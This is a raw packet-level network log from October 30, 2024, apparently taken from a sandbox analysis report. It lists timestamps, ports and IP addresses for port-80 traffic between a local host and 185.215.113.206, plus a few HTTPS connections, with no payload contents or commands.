Oct 30, 2024 18:06:46.615432024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615446091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615457058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615458012 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615485907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615514994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615544081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615556002 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615566969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615577936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615590096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615597963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615602016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615614891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615616083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615628004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615632057 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615639925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615655899 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615665913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615675926 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615679979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615693092 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615706921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615709066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615721941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615737915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615748882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615757942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615762949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615771055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615775108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615787029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615799904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615807056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615811110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615823984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615833998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615834951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615848064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615848064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615861893 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615873098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615875006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615879059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615892887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615894079 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615905046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615916967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615926981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615928888 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615940094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.615947962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615966082 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.615972996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.616292953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616303921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616316080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616326094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616336107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616338968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.616343021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616357088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.616367102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616379976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.616388083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616398096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.616421938 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.616435051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.618488073 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.618779898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.657358885 CET	49904	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.657403946 CET	443	49904	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.657515049 CET	49904	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.658369064 CET	49904	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.658384085 CET	443	49904	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.675492048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675513983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675565004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675576925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675595999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675625086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675637007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675647974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675647974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675667048 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675687075 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675694942 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675698996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675710917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675721884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675751925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675812960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675823927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675833941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675848007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675858021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675859928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675873041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675879955 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675889969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675899982 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675900936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675918102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675929070 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675939083 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675965071 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.675966024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675978899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.675988913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676002026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676004887 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676012039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676029921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676031113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676044941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676044941 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676058054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676065922 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676074028 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676078081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676094055 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676110983 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676115990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676126957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676136017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676146984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676156044 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676160097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676170111 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676184893 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676202059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676206112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676222086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676232100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676244974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676255941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676259995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676269054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676287889 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676306009 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676412106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676424026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676434040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676445961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676456928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676460028 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676470041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676481962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676489115 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676493883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676505089 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676505089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676518917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676532984 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676548958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676557064 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676559925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676572084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676584005 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676588058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676611900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676636934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676636934 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676676035 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676707029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676717997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676757097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676774979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676786900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676799059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676810026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676816940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676820993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676842928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676870108 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676902056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676913023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676923037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676935911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676945925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.676947117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676975965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.676990032 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677180052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677228928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677232027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677243948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677278996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677299976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677310944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677320957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677331924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677335024 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677345037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677366972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677392006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677405119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677417040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677433968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677443981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677454948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677457094 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677480936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677496910 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677853107 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677898884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677908897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677927017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677937984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677948952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677973032 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.677978039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.677999020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678013086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678019047 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678025007 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678050041 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678064108 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678086996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678097963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678112984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678128004 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678150892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678158998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678163052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678184986 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678210020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678435087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678474903 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678484917 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678515911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678527117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678589106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678601027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678611040 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678627014 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678638935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678641081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678651094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678667068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678668976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678677082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678689957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678697109 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678704023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678711891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678714991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.678730965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.678761959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679393053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679434061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679450035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679459095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679464102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679476023 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679481030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679492950 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679512978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679523945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679708958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679758072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679769993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679796934 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679801941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679817915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679828882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679860115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679862022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679872990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679883957 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.679907084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.679917097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680118084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680164099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680171013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680181026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680218935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680229902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680242062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680253029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680263996 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680277109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680286884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680289030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680303097 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680329084 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680351019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680360079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680372953 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680399895 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680424929 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680452108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680463076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680473089 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680484056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680495024 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680506945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680514097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680552959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680582047 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680598974 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680608988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680619001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680620909 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680630922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680643082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680645943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680655003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680665970 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680676937 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680692911 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680710077 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680716038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680747986 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680783033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680794001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680804014 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680815935 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680818081 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680828094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680839062 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.680845022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.680875063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.708528996 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.709453106 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.709481001 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.710100889 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.710113049 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.717883110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717890978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717891932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717904091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717947006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.717952967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717979908 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.717989922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.717999935 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.718002081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.718008995 CET	80	49812	185.215.113.206	192.168.2.5
